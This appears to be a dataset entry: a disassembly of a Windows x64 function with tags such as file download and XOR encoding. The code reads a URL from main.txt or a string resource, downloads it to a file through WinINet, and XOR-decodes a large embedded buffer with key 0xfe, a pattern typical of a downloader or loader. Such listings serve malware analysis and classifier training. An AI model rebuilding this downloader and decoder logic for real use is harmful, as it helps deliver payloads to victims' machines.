Function at 0x140003c50
Capabilities:
Create http request
Download and write a file
Encode data using xor
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x3d0]
sub rsp, 0x4d0
movaps xmmword [rsp + 0x4c0], xmm6
xor r12d, r12d
call fcn.140001de0
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
movdqa xmm1, xmmword [0x140011fd0]
movdqu xmmword [rbp - 0x50], xmm1
movabs r13, 0x7478742e6e69616d
mov qword [rbp - 0x60], r13
mov byte [rbp - 0x58], r12b
mov r15d, 1
mov r8d, r15d
lea rdx, [rbp - 0x60]
lea rcx, [rbp - 0x40]
call fcn.140005f10
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea r8, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x40], r8
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x44], edx
cmp qword [rbp + 0x50], r12
setne bl
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x40], r8
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x44], edx
lea rcx, [rbp - 0x30]
call fcn.140005460
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x40], rax
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx - 0x44], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x70], rax
lea rcx, [rbp + 0x70]
call fcn.140008a5c
nop
call fcn.140003970
test bl, bl
je 0x140003e3d
test eax, eax
jne 0x140003d64
mov r15d, 0xfffffffd
jmp 0x140004786
mov rax, r12
movdqa xmm2, xmmword [0x140012050]
lea rdi, str.909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090
nop word [rax + rax]
movdqu xmm0, xmmword [rax + rdi]
xorps xmm0, xmm2
movdqu xmmword [rax + rdi], xmm0
movdqu xmm0, xmmword [rax + rdi + 0x10]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rax + rdi + 0x10], xmm1
movdqu xmm0, xmmword [rax + rdi + 0x20]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rax + rdi + 0x20], xmm1
movdqu xmm0, xmmword [rax + rdi + 0x30]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rax + rdi + 0x30], xmm1
add rax, 0x40
cmp rax, 0xf00
jb 0x140003d80
cmp rax, 0xf01
jae 0x140003def
nop word [rax + rax]
xor byte [rax + rdi], 0xfe
inc rax
cmp rax, 0xf01
jb 0x140003de0
call fcn.140001de0
call fcn.140002d10
lea rdx, str.Loading_Dir_main.txt_...
call fcn.140006940
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.140006620
movzx edx, al
mov rcx, rbx
call fcn.1400074d0
mov rcx, rbx
call fcn.1400073a0
lea rcx, [rbp - 0x60]
call fcn.140002530
mov r15d, r12d
jmp 0x140004786
test eax, eax
jne 0x140003e4c
mov r15d, 0xfffffffd
jmp 0x140004786
mov rax, r12
movdqa xmm6, xmmword [0x140012050]
lea rdi, str.909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090
nop
movdqu xmm0, xmmword [rax + rdi]
xorps xmm0, xmm6
movdqu xmmword [rax + rdi], xmm0
movdqu xmm0, xmmword [rax + rdi + 0x10]
movdqa xmm1, xmm6
xorps xmm1, xmm0
movdqu xmmword [rax + rdi + 0x10], xmm1
movdqu xmm0, xmmword [rax + rdi + 0x20]
movdqa xmm1, xmm6
xorps xmm1, xmm0
movdqu xmmword [rax + rdi + 0x20], xmm1
movdqu xmm0, xmmword [rax + rdi + 0x30]
movdqa xmm1, xmm6
xorps xmm1, xmm0
movdqu xmmword [rax + rdi + 0x30], xmm1
add rax, 0x40
cmp rax, 0xf00
jb 0x140003e60
cmp rax, 0xf01
jae 0x140003ecf
nop word [rax + rax]
xor byte [rax + rdi], 0xfe
inc rax
cmp rax, 0xf01
jb 0x140003ec0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov r9d, 0x100
lea r8, [rbp - 0x40]
mov edx, 0x65
mov rcx, rax
call qword [sym.imp.USER32.dll_LoadStringW]
test eax, eax
jle 0x140003f15
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x60]
call fcn.140005820
movups xmm0, xmmword [rsp + 0x60]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rsp + 0x70]
movups xmmword [rbp - 0x70], xmm1
jmp 0x140003f26
lea rdx, [0x140011dac]
lea rcx, [rbp - 0x80]
call fcn.140005820
nop
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 7
cmova rdx, qword [rbp - 0x80]
mov rax, qword [rbp - 0x70]
lea r14, [rdx + rax*2]
lea rbx, [rbp - 0x80]
cmova rbx, qword [rbp - 0x80]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r12
cmp rbx, r14
jne 0x140003f6e
mov r8, r12
mov eax, 0xf
mov qword [rsp + 0x58], rax
mov byte [rsp + 0x40], r8b
jmp 0x140004078
sub r14, rbx
sar r14, 1
mov qword [rsp + 0x58], 0xf
movabs rax, 0x7fffffffffffffff
cmp r14, rax
ja 0x1400047ef
mov esi, 0xf
cmp r14, rsi
jbe 0x140004034
mov rsi, r14
or rsi, 0xf
cmp rsi, rax
jbe 0x140003fe7
mov rsi, rax
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140009348
mov rcx, rax
test rax, rax
je 0x140004807
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x58], rsi
jmp 0x140004039
mov eax, 0x16
cmp rsi, rax
cmovb rsi, rax
lea rcx, [rsi + 1]
test rcx, rcx
jne 0x14000400b
mov rax, r12
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x58], rsi
jmp 0x140004039
cmp rcx, 0x1000
jb 0x140004023
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400047e9
jmp 0x140003fbb
call fcn.140009348
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x58], rsi
jmp 0x140004039
mov rax, qword [rsp + 0x40]
lea r8, [rsp + 0x40]
cmp rsi, 0xf
cmova r8, rax
mov rcx, r8
mov rdx, r14
test r14, r14
je 0x140004064
movzx eax, byte [rbx]
mov byte [rcx], al
lea rcx, [rcx + 1]
lea rbx, [rbx + 2]
sub rdx, 1
jne 0x140004051
mov qword [rsp + 0x50], r14
mov byte [r8 + r14], 0
mov rax, qword [rsp + 0x58]
mov r8, qword [rsp + 0x50]
lea rdx, [rsp + 0x40]
cmp rax, 0xf
cmova rdx, qword [rsp + 0x40]
lea rcx, [0x140017750]
call fcn.140007bd0
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.140006620
movzx edx, al
mov rcx, rbx
call fcn.1400074d0
mov rcx, rbx
call fcn.1400073a0
mov rax, qword [rsp + 0x50]
test rax, rax
je 0x1400044ae
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x70], xmm1
mov r8d, 4
cmp rax, r8
cmovb r8, rax
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0xf
cmova rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x60]
call fcn.140006d30
lea rcx, [rsp + 0x60]
mov rbx, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x78]
cmp rdi, 0xf
cmova rcx, rbx
mov r8, qword [rsp + 0x70]
cmp r8, 4
jne 0x140004138
lea rdx, str.http
call sub.msvcrt.dll_memcmp
test eax, eax
jne 0x140004138
mov sil, 1
jmp 0x14000413b
xor sil, sil
cmp rdi, 0xf
jbe 0x140004172
lea rdx, [rdi + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x14000416a
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400047f5
mov rcx, rbx
call fcn.140009340
call fcn.140002d10
test sil, sil
je 0x14000434f
lea rdx, str.Loading_StringTable_...
call fcn.140006940
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.140006620
movzx edx, al
mov rcx, rbx
call fcn.1400074d0
mov rcx, rbx
call fcn.1400073a0
call fcn.140001de0
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
movdqa xmm1, xmmword [0x140011fd0]
movdqu xmmword [rsp + 0x70], xmm1
mov qword [rsp + 0x60], r13
mov byte [rsp + 0x68], 0
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
mov edx, r15d
lea rcx, str.Download
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rsi, rax
test rax, rax
je 0x1400042fe
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0xf
cmova rdx, qword [rsp + 0x40]
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbx, rax
test rax, rax
je 0x1400042f5
lea rcx, [rsp + 0x60]
cmp qword [rsp + 0x78], 0xf
cmova rcx, qword [rsp + 0x60]
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
mov rcx, rbx
cmp rax, 0xffffffffffffffff
je 0x1400042ef
lea r9, [rbp + 0x410]
mov r8d, 0x400
lea rdx, [rbp - 0x40]
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x1400042e3
nop word [rax + rax]
mov r8d, dword [rbp + 0x410]
test r8d, r8d
je 0x1400042e3
mov qword [rsp + 0x20], r12
lea r9, [rbp + 0x418]
lea rdx, [rbp - 0x40]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea r9, [rbp + 0x410]
mov r8d, 0x400
lea rdx, [rbp - 0x40]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x1400042a0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rcx, [rsp + 0x60]
call fcn.140002530
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x1400043db
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004345
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400047fb
call fcn.140009340
jmp 0x1400043db
lea rdx, str.Loading_LocalFile_...
call fcn.140006940
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.140006620
movzx edx, al
mov rcx, rbx
call fcn.1400074d0
mov rcx, rbx
call fcn.1400073a0
call fcn.140001de0
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0xf
cmova rdx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x50]
lea rcx, [0x140017750]
call fcn.140007bd0
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0xa
call fcn.140006620
movzx edx, al
mov rcx, rbx
call fcn.1400074d0
mov rcx, rbx
call fcn.1400073a0
lea rcx, [rsp + 0x40]
call fcn.140002530
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140004418
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004413
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004807
call fcn.140009340
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], 0
mov rdx, qword [rbp - 0x68]
cmp rdx, 7
jbe 0x14000446c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004466
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000480d
call fcn.140009340
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x1400044a7
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400044a2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004801
call fcn.140009340
xor eax, eax
jmp 0x1400047c0
call fcn.140003a20
test al, al
je 0x1400046e4
call fcn.140003970
test eax, eax
jne 0x1400044cf
mov r15d, 0xfffffffd
jmp 0x1400046e4
mov rax, r12
movdqu xmm0, xmmword [rax + rdi]
movdqa xmm1, xmm6
xorps xmm1, xmm0
movdqu xmmword [rax + rdi], xmm1
movdqu xmm0, xmmword [rax + rdi + 0x10]
movdqa xmm1, xmm6
xorps xmm1, xmm0
movdqu xmmword [rax + rdi + 0x10], xmm1
movdqu xmm0, xmmword [rax + rdi + 0x20]
movdqa xmm1, xmm6
xorps xmm1, xmm0
movdqu xmmword [rax + rdi + 0x20], xmm1
movdqu xmm0, xmmword [rax + rdi + 0x30]
movdqa xmm1, xmm6
xorps xmm1, xmm0
movdqu xmmword [rax + rdi + 0x30], xmm1
add rax, 0x40
cmp rax, 0xf00
jb 0x1400044d2
cmp rax, 0xf01
jae 0x14000453f
xor byte [rax + rdi], 0xfe
inc rax
cmp rax, 0xf01
jb 0x140004530
mov esi, r15d
lea r14, [0x140016140]
lea r13, [0x140016150]
call fcn.140001de0
mov rax, r12
nop dword [rax + rax]
movdqu xmm0, xmmword [rdi + rax]
movdqa xmm1, xmm6
xorps xmm1, xmm0
movdqu xmmword [rdi + rax], xmm1
movdqu xmm0, xmmword [rax + rdi + 0x10]
movdqa xmm1, xmm6
xorps xmm1, xmm0
movdqu xmmword [rax + rdi + 0x10], xmm1
movdqu xmm0, xmmword [r14 + rax]
movdqa xmm1, xmm6
xorps xmm1, xmm0
movdqu xmmword [r14 + rax], xmm1
movdqu xmm0, xmmword [rax + r13]
movdqa xmm1, xmm6
xorps xmm1, xmm0
movdqu xmmword [rax + r13], xmm1
add rax, 0x40
cmp rax, 0xf00
jb 0x140004560
cmp rax, 0xf01
jae 0x1400045cf
nop
xor byte [rax + rdi], 0xfe
inc rax
cmp rax, 0xf01
jb 0x1400045c0
mov ebx, r15d
call fcn.140001de0
mov rax, r12
nop word [rax + rax]
movdqu xmm0, xmmword [rax + rdi]
movdqa xmm1, xmm6
xorps xmm1, xmm0
movdqu xmmword [rax + rdi], xmm1
movdqu xmm0, xmmword [rax + rdi + 0x10]
movdqa xmm1, xmm6
xorps xmm1, xmm0
movdqu xmmword [rax + rdi + 0x10], xmm1
movdqu xmm0, xmmword [rax + rdi + 0x20]
movdqa xmm1, xmm6
xorps xmm1, xmm0
movdqu xmmword [rax + rdi + 0x20], xmm1
movdqu xmm0, xmmword [rax + rdi + 0x30]
movdqa xmm1, xmm6
xorps xmm1, xmm0
movdqu xmmword [rax + rdi + 0x30], xmm1
add rax, 0x40
cmp rax, 0xf00
jb 0x1400045e0
cmp rax, 0xf01
jae 0x14000464f
nop
xor byte [rax + rdi], 0xfe
inc rax
cmp rax, 0xf01
jb 0x140004640
cmp ebx, esi
jge 0x1400046cf
call fcn.140001de0
mov rax, r12
nop dword [rax + rax]
movdqu xmm0, xmmword [rax + rdi]
movdqa xmm1, xmm6
xorps xmm1, xmm0
movdqu xmmword [rax + rdi], xmm1
movdqu xmm0, xmmword [rax + rdi + 0x10]
movdqa xmm1, xmm6
xorps xmm1, xmm0
movdqu xmmword [rax + rdi + 0x10], xmm1
movdqu xmm0, xmmword [rax + rdi + 0x20]
movdqa xmm1, xmm6
xorps xmm1, xmm0
movdqu xmmword [rax + rdi + 0x20], xmm1
movdqu xmm0, xmmword [rax + rdi + 0x30]
movdqa xmm1, xmm6
xorps xmm1, xmm0
movdqu xmmword [rax + rdi + 0x30], xmm1
add rax, 0x40
cmp rax, 0xf00
jb 0x140004660
cmp rax, 0xf01
jae 0x1400046cf
nop
xor byte [rax + rdi], 0xfe
inc rax
cmp rax, 0xf01
jb 0x1400046c0
inc ebx
cmp ebx, esi
jle 0x1400045d2
inc esi
cmp esi, 9
jle 0x140004550
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140004721
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000471c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004807
call fcn.140009340
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], 0
mov rdx, qword [rbp - 0x68]
cmp rdx, 7
jbe 0x140004774
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000476f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000480d
call fcn.140009340
movdqa xmm0, xmmword [0x140011fa0]
movdqu xmmword [rbp - 0x70], xmm0
mov word [rbp - 0x80], r12w
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x1400047bd
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400047b8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400047e3
call fcn.140009340
mov eax, r15d
mov rbx, qword [rsp + 0x520]
movaps xmm6, xmmword [rsp + 0x4c0]
add rsp, 0x4d0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.14000d750
nop
call fcn.140001250
nop
call fcn.1400012f0
nop
call fcn.14000d750
int3
call fcn.14000d750
nop
call fcn.14000d750
nop
call fcn.14000d750
nop
call fcn.14000d750
int3